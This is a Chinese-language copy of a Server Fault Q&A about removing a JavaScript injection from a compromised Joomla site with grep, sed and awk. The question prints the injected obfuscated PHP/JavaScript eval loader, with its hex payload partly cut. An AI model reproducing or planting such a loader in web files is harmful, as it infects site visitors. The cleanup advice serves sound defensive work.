Grep

GREP 查找並使用 SED 替換所有文件上的字元串

  • July 14, 2013

我們的一個舊託管 Joomla 站點遭受了 JavaScript 注入,我正在清理它。以下程式碼被插入到每個 .php 或 .js 文件中:

<?
#0c0896#
echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>";

#/0c0896#
?>

“確切的語法,雖然實際程式碼要長得多,但我從中間剪掉了很多十六進制以使其更容易”

我正在嘗試使用 GREP 和 SED 對所有文件進行查找和替換,但我認為我的 SED 語法不太正確。

grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g

我在這裡要做的是使用 grep 搜尋所有文件以查找正在執行的程式碼片段,然後使用 SED 替換標籤 #0c0896# 以及介於兩者之間的所有內容。

Sed 是錯誤的工具,因為它一次只考慮一行。

awk 是一個更好的工具,可以對兩個匹配行之間的內容進行操作。

awk '/a/,/b/ { next } { print }'

將跳過匹配正則表達式a和正則表達式b的行之間的所有內容。

然而,一個更直接的答案是,一旦一台機器被入侵,你就不能信任它上面的任何東西。對於專業的系統管理員來說,唯一合適的做法是從頭開始重新安裝機器。

代替

<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>

採用

<?.*#0c0896#.*#\/0c0896#.*?>

括號表達式只匹配一個字元,該字元位於括號中。同樣在方括號表達式中,正則表達式量詞和其他特殊字元也失去了意義。您提供的表達式的意思是:匹配一個開放的尖括號,後跟一個問號,後跟一個點或星號,然後是 …

Sed 是面向行的,所以.*上面的不會跨越行。有問題的程式碼是一行嗎?

引用自:https://serverfault.com/questions/515095